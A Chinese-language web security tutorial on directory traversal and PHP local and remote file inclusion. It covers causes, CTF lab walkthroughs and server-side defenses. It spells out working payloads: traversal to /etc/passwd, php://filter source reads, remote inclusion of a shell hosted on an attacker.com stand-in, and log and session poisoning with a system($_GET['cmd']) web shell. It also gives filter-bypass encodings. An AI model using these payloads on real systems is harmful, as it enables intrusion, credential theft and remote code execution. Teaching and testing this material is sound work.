刚入行那阵子,我最喜欢复盘的就是这类漏洞:明明只缺一个路径拼接校验,可一旦被利用,要么泄露整个服务端文件体系,要么直接拿到代码执行权限。目录遍历和文件包含(LFI/RFI)这对“亲兄弟”,在Web安全里存在感极强。它俩名字相近、成因相近,经常在同一个页面上出现,但利用思路和最终效果差异不小。今天从实际测试视角,把这套东西完整拆开讲清楚,目标是把原理、利用、绕过和防御一次性串成体系,后面你再碰到 CTF题目或者真实授权测试里的这类入口,至少心里有谱。
1. 目录遍历与文件包含的关系梳理
1.1 漏洞成因:用户输入进入文件路径
先看最常见的一个场景:网站动态加载页面,URL 长这样:
code复制http://target/index.php?page=about.php
开发者本意是让用户选择加载哪个页面文件,于是代码里写了类似:
php复制<?php
$page = $_GET['page'];
include($page . '.php');
?>
看起来没毛病,但 page 参数完全由用户控制。把 page 改成 ../../../../etc/passwd,include 语句就会去加载系统用户文件。如果 PHP 环境解析到内容里有冒号和路径信息,那数据就直接回显出来。这就是文件包含漏洞(LFI)的基础形态。
目录遍历(Directory Traversal)逻辑更简单。它来自另一类功能:文件读取、文件下载、图片预览。后台代码可能是:
php复制<?php
$filename = $_GET['filename'];
$path = '/var/www/uploads/' . $filename;
readfile($path);
?>
如果开发者在拼接前没有校验路径是否越界,攻击者传入 ../ 序列,就能让程序读取 /var/www/uploads 之外的任意文件。这看起来跟LFI几乎一样,区别主要体现在东西被包含进来后的处理方式上。
1.2 目录遍历与文件包含的本质差异
很多人把目录遍历和文件包含混在一起,实际测试思路是有区别的。
| 漏洞类型 | 常见入口 | 程序使用的函数 | 核心危害 |
|---|---|---|---|
| 目录遍历 | 下载、预览、导出功能 | readfile、file_get_contents、fopen | 读取任意文件,泄露源码、配置、敏感数据 |
| LFI 本地文件包含 | 模板加载、语言包切换 | include、require、include_once | 文件被当作代码执行,可直接拿权限 |
| RFI 远程文件包含 | 同上,但支持远程URL | include、require | 加载攻击者服务器上的恶意脚本 |
用生活化的方式理解:目录遍历像“点了文件下载”。你把路径里的 .. 当电梯按键,一路往上走,最后跳出服务器允许的范围,进入系统其他楼层拿东西。
文件包含更像“点了程序加载”。include 是 PHP 的动态加载机制,你把路径传给它,它不只是把文件内容显示出来,而是把文件当作 PHP 代码执行一遍。所以 LFI 的危害上限远高于目录遍历。就算目标只回显内容,LFI 还能搭配 php://filter 协议读取文件源码,进而寻找更多利用点。
RFI 则是文件包含的远程版本。服务端配置了 allow_url_include=On,include 可以直接拉取 http://attacker.com/shell.txt,并且执行。这在现代网络环境里已经不多见,但在 CTF 新手靶场里依旧常客。
1.3 需要特别说明的一个坑
有很多朋友搜索“此文档包含的链接可能引用了其他文件怎么取消”,看到“文件包含”四个字,以为这个 Word 提示和 Web 漏洞有关。实际上那是 Office 文档里的超链接警告,属于客户端文档应用行为,跟服务端文件包含漏洞没有任何关系。真正要关注的是代码层面把用户输入交给文件函数的地段。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 三大执行路径的漏洞利用与测试要点
2.1 目录遍历:从入口探测到文件读取
实际测试第一步是把功能点找出来。目录遍历最常见于几类位置:
- 文件下载接口:
download.php?file= - 图片预览:
/image?name= - 导出报表:
/export?template= - 主题模版切换:
/theme?tpl= - 语言包切换:
?lang=
拿到了参数后,第一件事不是上来就梭哈 ../,而是先“搭基准”。什么意思?比如一个功能原本正常加载 report.pdf,我先尝试:
code复制download.php?file=report.pdf
download.php?file=/etc/passwd
download.php?file=../../../../../../etc/passwd
如果第三组请求回显了 root:x:0:0:root:/root:/bin/bash 之类的内容,漏洞就是实锤。如果没回显,不要立刻下结论,有几种情况导致你看不到内容:
- 接口固定读取字节范围,比如文件头 1024 字节,
/etc/passwd的头部其实没敏感内容,但在 Linux 下第一个字符是root:x:,正常是可以看到的。 - 响应包被强制指定为图片格式或者 JSON 包装,内容在里层。
- 服务器做了路径规范化,但只处理了
/../,没处理/..;/这类变体。
有一次我在一个网盘系统的“生成缩略图”功能里反复测不成功,响应码一直是 200 但返回空。后来抓包发现前面的逻辑是先走二次跳转,真正取图的路径在 /index.php/api/v1/image/${file}。我立刻调整思路,直接对 API 路径做深度遍历。所以测试的时候把抓包工具放旁边,别只看页面。
2.2 LFI 测试:包含功能里的读取与执行
LFI 的入口长得很典型:?page=、?file=、?path=、?template=、?dir=。测试时先区分两件事:参数后面有没有自动追加后缀。
很多代码写成 include($page . ".php"),你直接传 ../../../../etc/passwd 时,后面会被拼上 .php,导致文件不存在。这时可以尝试空字节截断,像 page=../../../../etc/passwd%00,不过这个在 PHP 5.3.4 之后已经失效。现代 LFI 测试更聪明的方式是先用长路径压掉拼接的后缀:
code复制?page=../../../../etc/passwd..........[超长填充]
因为 Windows 路径长度有限,长路径会让 .php 被截掉,不过成功率看系统版本。再稳妥一点的方法是找路径里本身带空字节或多层目录的写法:
code复制?page=/var/www/html/../../../../etc/passwd
PHP 在处理路径时会把中间的多级 .. 正常解析掉,只要最终落在 /etc/passwd 上,后面的 .php 只是拼上然后报错,不会影响前面的读取。这里有个经验:如果目标回显的是 PHP 解析后的页面内容,看几百行代码还是找不到文件内容,就换成 php://filter/read=convert.base64-encode/resource= 协议,把文件内容 base64 编码后输出。这样即使目标文件是 PHP 代码,也不会被解释执行,你能直接看到原始字符串。
2.3 RFI 测试:远程包含的外部输入
RFI 的测试条件有一条硬前提:目标服务器启用了 allow_url_fopen 和 allow_url_include。测试时直接把参数内容改成完整 URL:
code复制?page=http://attacker.com/shell.txt
如果漏洞存在,shell.txt 里的代码会在目标服务器上执行。shell.txt 里写的不是 html,而是带 <?php ... ?> 的代码。
这里必须强调:RFI 在现代默认配置下极少出现,因为 allow_url_include 默认是关闭的。但内网系统、老项目、改过 php.ini 的定制环境经常见到。我们在 CTF 平台(比如“文件包含 pikachu”这类靶场)里做实验,就是为了搞清楚这个概念。靶场环境允许合法包含远程代码,利用思路就是先搭一个能外网访问的服务器,放一个文本文件,内容用 PHP 标签包裹,然后让目标页面去包含。如果目标成功执行,相当于拿到了目标服务器上对应 Web 权限的代码执行点。
3. 从读文件到命令执行的花式利用
3.1 php://filter 读取源码:LFI 的黄金搭档
LFI 直接读文件通常受两个限制:日志文件里全是杂音、PHP 文件被执行而不是显示。想读取任意 PHP 源码,php://filter 协议是首选。
code复制?file=php://filter/read=convert.base64-encode/resource=index.php
这个语句的含义是:把 index.php 的内容经过 base64 编码后输出。因为输出的是编码后的字符串,PHP 不会试图执行它。你在响应页面看到一段乱码,用 base64 解码后就是完整的 index.php 源码。
实际操作里我会把这个技巧扩展成几个固定动作:
- 读取当前页面源码,确认后端框架和过滤逻辑。
- 读取配置文件,比如
config.php、database.inc,拿到数据库账号密码。 - 读取路由或入口文件,找到更多可利用参数。
读取时注意 resource= 后面路径可以带相对路径。只要当前包含文件路径在 /var/www/html 下,像 resource=config.php 就够了,没必要每次写一堆 ../。
3.2 日志、会话与状态注入的扩展利用
有时候目标把所有文件读了个遍,还是没找到能直接 getshell 的入口,这时候要靠“写点东西进去”的思路。最常见的是 Apache/Nginx 访问日志注入:
code复制GET /<?php system($_GET['cmd']); ?> HTTP/1.1
User-Agent: <?php system($_GET['cmd']); ?>
一般日志路径:
code复制/var/log/apache2/access.log
/var/log/nginx/access.log
/var/log/apache/access.log
先把带 PHP 代码的内容写进日志文件,然后用 LFI 去包含日志文件。日志里的恶意 PHP 就会被执行。执行时请求一次:
code复制?file=/var/log/apache2/access.log&cmd=id
这个法子有个揪心的点:日志文件体积大,PHP 代码需要恰好落在能解析的位置;如果前面有特殊字符把语法打断了,直接白屏。实操中我更倾向于把 Payload 放在 User-Agent 头里,因为 UA 内容通常不被 URL 编码,PHP 代码保持相对完整。多次注入后不一定每次都成功,多刷几次页面,或者提前把 <?php system($_GET['cmd']); ?> 缩短成 <?php @eval($_POST['a']);?>,马后放短,成功率高很多。
类似思路还可以放到 /proc/self/environ(环境变量包含 USER_AGENT)、PHP session 文件、临时上传文件。session 路径常见于 /tmp/sess_你的会话ID,如果你能控制 session 内容(比如把用户名改成 PHP 代码),后面直接包含 session 文件就能执行。在实战里,这招比日志注入更稳,因为 session 文件小,PHP 代码容易干净落地。
3.3 读源码之后搭建利用链
LFI 读取源码的最终目的不只是看代码,而是围绕系统整体找一条可靠的利用链。我常按这个顺序推:
- 读配置文件找数据库凭据,尝试登录后台或者数据库。
- 看路由,找没有鉴权的管理接口。
- 找上传点,传一个内容伪造为图片的 PHP 马,再用 LFI 触发。
- 找缓存文件、模板编译文件,有的系统会把用户输入写进缓存,包含后执行。
有一次测试一个 PHP 框架应用,LFI 只能读源码,没法直接输出文件内容,页面全程空白。我读取了核心入口文件,发现系统把用户上传的文件名经过 md5 处理然后存到 /tmp,文件名可预测。我上传了一个带 .htaccess 博弈技巧的文件后,再通过文件包含把 /tmp/hash文件名 拉进来,成功执行。整个过程核心就是:文件包含点让你有了代码执行的触发机会,但前提是某个文件里已经被写入了 PHP 代码。所以找一切“可控内容会落盘”的位置,比单纯爆破路径重要。
4. 绕过过滤器与参数相关的实战心得
4.1 常见的黑名单过滤规则
很多开发者知道这个漏洞后,并不会做严格的路径白名单,而是选择过滤关键字。最常见的一套黑名单是:
- 过滤
../ - 过滤
.. - 过滤
/ - 过滤
php:// - 过滤
http://
这套过滤看着像模像样,实则全是漏洞。比如只过滤 ../,那我可以传入 ....//,经过自染处理或者服务器路径归一化后,等于 ../。有些代码用 str_replace("../","",$path) 替换,那我传 ....//,../ 被替换成空,原来的 .. 和 / 拼回去,恰好又成了 ../。
4.2 过滤绕过的对照速查
| 过滤规则 | 绕过思路 | 示例 |
|---|---|---|
过滤 ../ |
双写、递归、编码 | ....//、..%2f、%2e%2e%2f |
过滤 ./ |
绝对路径直接绕过 | /etc/passwd、c:/windows/win.ini |
过滤 php:// |
用大小写或编码 | php:// 改成 PHP://,部分老代码不区分大小写 |
过滤 http:// |
使用多种协议变体 | http:// 全角冒号、http:/\ 等,看服务端实际处理 |
过滤 .. 和 / |
利用二次解码 | 双 URL 编码 %252e%252e%252f,如果服务端先执行一次 decode 后再拼接路径就会中招 |
有一点必须提醒:绕过不是凭空猜的,必须建立在“服务端做了什么处理”之上。测试时候先看是有过滤还是直接报错,一步步验证。碰到过滤了不要盲目测试几十万种变体,抓包看响应长度的变化,逐层逼近。
我在测试中习惯先做“标准请求”确定回显长度,然后发送一个已知文件路径,如果回显长度发生变化,说明参数确实影响了文件读取。接着再围绕过滤器展开尝试。这个步骤可以帮助我们把时间用在有效范围内。
4.3 更值得注意的处理逻辑
比绕过更隐蔽的是解析差异。比如 include 函数会做“处理后的路径解析”,它的规则跟 readfile 不同,也跟操作系统原生命令不同。有时候你传入 ....//,在应用层可能没有被完全过滤,在文件系统层它就变成一个 ../ 路径。这就是解析差异的利用点。
还有一类系统用了 realpath() 做校验,代码大概是:
php复制$real = realpath($file);
if (strpos($real, '/var/www/') !== 0) {
die('forbidden');
}
这种会先解析成绝对路径,再检查前缀。如果检验的是 /var/www/,而真实文件在 /var/www/ 之外,那就能拦下。但问题是如果项目本身就在 /var/www/ 下,并且应用读的路径经过一层一层 ../ 又能绕回来,比如 /var/www/html/../../etc/passwd,realpath 后变成 /etc/passwd,前缀检查会失败。所以 realpath 校验写得不对照样能破裂。
更有意思的是某些框架的伪路径处理。我看到过一个系统,参数直接映射到模版引擎的路径变量,开发者在 include 前用了一个 str_replace("..","",$str),还把 .. 替换成空。这时候构造 ..././ 这类组合,经过替换后变成 ../,再次形成了逃逸。所以别小看字符层面的博弈。
5. CTF与攻防实验平台的快速题解
5.1 从入口到解出:ctfhub 系列实战思路
CTF 平台(比如搜索里常出现的 ctfhub 目录遍历)会专门把这些知识点做成关卡,思路比较直接。常见入口是 URL 里有 path=、file=,先把参数正常值看一遍,再直接上 ../ 探测。
有一次打一个目录遍历题,目标 URL 是:
code复制http://target/ctfhub/xx/?path=/ctfhub/flag/
我先尝试:
code复制?path=/ctfhub/flag/../../../../flag
正常情况下,返回内容会展示当前目录的所有文件名。用 .. 往前走几级,再往下指到目标目录,只要目录列表能列出来,就能看到 flag 文件,然后读取它。难点在于很多题目故意把入口放在 Web 根目录下面多层,比如 /var/www/html/ctfhub/,你要往上走四层才能到根目录 /。这类题目一般不需要复杂绕过,关键是数清楚目录层级。我的习惯是从多到少逐层尝试:../../../../../flag、../../../../flag、../../../flag,看哪个回显了内容。
如果遇到题目把路径做了过滤,就用前文提到的 ..%2f 或者 ....// 组合重试。多数情况下这种过滤只防了 ../ 三个字符,没防编码形态。
5.2 pikachu 靶场里的文件包含题目
搜索词“文件包含 pikachu”指向的是 pikachu 这套 PHP 漏洞靶场。它的文件包含练习分本地包含和远程包含两大块。
本地包含题通常给一个下拉框选择文件名,URL 参数是 ?submit=...&filename=...。先正常选择,看是否能把某个文件内容展示出来,再把 filename 改成:
code复制../../../../../../../../etc/passwd
如果靶场没有做过滤,页面会直接出现 passwd 内容。这题的意图就是让新手直观理解“参数里带有路径层级时,程序真的会去加载这个路径”。
远程包含题的页面会提示是否需要开启远程包含。写测试时把 payload 放到自己的服务器上,然后目标 URL 传入完整路径:
code复制?filename=http://your-server/shell.txt
靶场环境已经开了 allow_url_include,因此 payload 会被执行。这里给你的价值不在攻击本身,而是理解一个生产环境里应当保持关闭的配置项到底会产生什么影响。
5.3 CTF 题里快速定位入口的思路
CTF 题往往是“入口很多,但真洞很小”。我的做题顺序基本固定:
- 打开页面,抓包,看所有参数。
- 把所有参数分为“会改变输出内容”和“不会改变输出内容”两类。
- 对改变输出的参数挨个测试是否存在路径处理,观察回显差异。
- 读到源码后,从源码里找过滤和关键逻辑,而不是盲打。
- 如果只是普通读文件,直接把 flag 读完;如果读不到,尝试伪协议、日志注入。
比如一个 ?file=upload/xxx.png 的入口,页面永远返回一个图片。很多人不知道这里可以换成 php://filter。如果这题确实考 LFI,那多半 header 或者注释里已经给了提示,响应头里可能藏着 source 参数。多做一步源码审计,比暴力试探高效得多。
CTF 的考核终究是“让你理解漏洞本质”,所以遇到入口不要只背 payload,要搞清楚页面回显了什么、当前处理使用了什么函数、过滤在哪层发生。搞懂这三个问题之后,哪个方向能突破就一目了然。
6. 防御与问题排查
6.1 常见利用不生效的原因排查
测试时“明明看起来是文件包含,却打不出来”的情况太常见了。我总结过几个高频原因。
第一个原因:参数后面自动拼接了后缀。前面说过 include($page . ".php"),你传 ../../../../etc/passwd,实际加载的是 ../../../../etc/passwd.php,文件不存在自然没输出。遇到这种就优先用 php://filter 读取合法 PHP 文件,看源码确认是否存在,再决定下一步。
第二个原因:PHP 错误被完全隐藏,页面空白。有些站点把 display_errors 关了,报错只会触发 500 或者空白页。这时候我常把响应头拉出来看,有时候错误信息会出现在 Set-Cookie 或者 X-Powered-By 里。
第三个原因:目录深度算错。/var/www/html/app/ 下当前脚本,要到 /etc/passwd,需要从 app 走到 html 是一层,www 一层,var 一层,/ 一层,所以至少要 ../../../../etc/passwd。如果从 /var/www/html 出发,其实三层就够了,但很多人图省事直接写七层八层,这没问题,问题在于路径太长时某些中间件会做规范化,把多余的 .. 合并掉,反而失效。所以多试几个梯度,从一层加到五层,别只试一种。
第四个原因:WAF 拦截了包含 Payload 的请求。特征里带 ../ 很容易被拦,这时候换成大小写、双编码或者绝对路径,通常能过。
6.2 服务端防御的正确姿势
防御文件包含漏洞最核心的一点是:别把用户输入直接拼接为文件路径。如果业务上必须用,就从架构上把路径选择权收回。
一个可靠的方案是“路径映射白名单”。不直接接收用户传来的文件路径,而是接收一个索引值:
php复制$pages = [
'home' => './pages/home.php',
'about' => './pages/about.php',
'contact' => './pages/contact.php'
];
if (isset($pages[$_GET['page']])) {
include($pages[$_GET['page']]);
}
想包含哪个文件由服务端决定,用户只能选预定义名字,漏洞面直接归零。这个方案实现成本极低,值得全量推广。
如果无法用白名单,至少要同时做到以下几点:
| 防御动作 | 说明 |
|---|---|
| 校验路径真实前缀 | 用 realpath() 处理后,确认路径以允许目录开头 |
| 关闭危险配置 | allow_url_include=Off,allow_url_fopen=Off 或按需关闭 |
| 过滤危险字符 | 白名单方式校验参数格式,阻止 /、\、:、.. 等路径字符 |
| 限制读取目录权限 | 服务运行账号只读应该读取的目录,降低任意文件被读取后的影响 |
| 代码审计 | 梳理所有 include、require、file_get_contents、readfile 参数来源 |
另外两个容易被忽略的防御点:
一是把上传目录当纯数据目录,放弃执行权限。Linux 下用挂载参数 noexec,Windows 下设置目录权限,禁止脚本执行。这样一来,就算有文件被上传成了 shell.php,也没法被直接访问执行。
二是日志文件的访问权限。既然日志注入能打,就要保证 Web 服务账号没有权限读取日志路径以外的文件——但更根本的,是让文件包含点彻底不存在,而不是把日志路径藏起来。老想着“让攻击者找不到可利用文件”是防守下策,上游把入口堵死才是上策。
实战里我最大的体会是,这类漏洞的“高光时刻”往往出现在两个点:一个是开发偷懒,直接将来路不明的参数塞进文件函数;另一个是框架里预留了太多的灵活加载机制。用户输入只要跟文件系统沾上边,就该默认不可信。做攻防测试时,很多秘密藏在“先读源码、再想组合”这个笨办法里,别总想着一个 Payload 就能直接打通全程。多花十分钟把代码看明白,后面拿到 shell 的路可能只需一次请求。
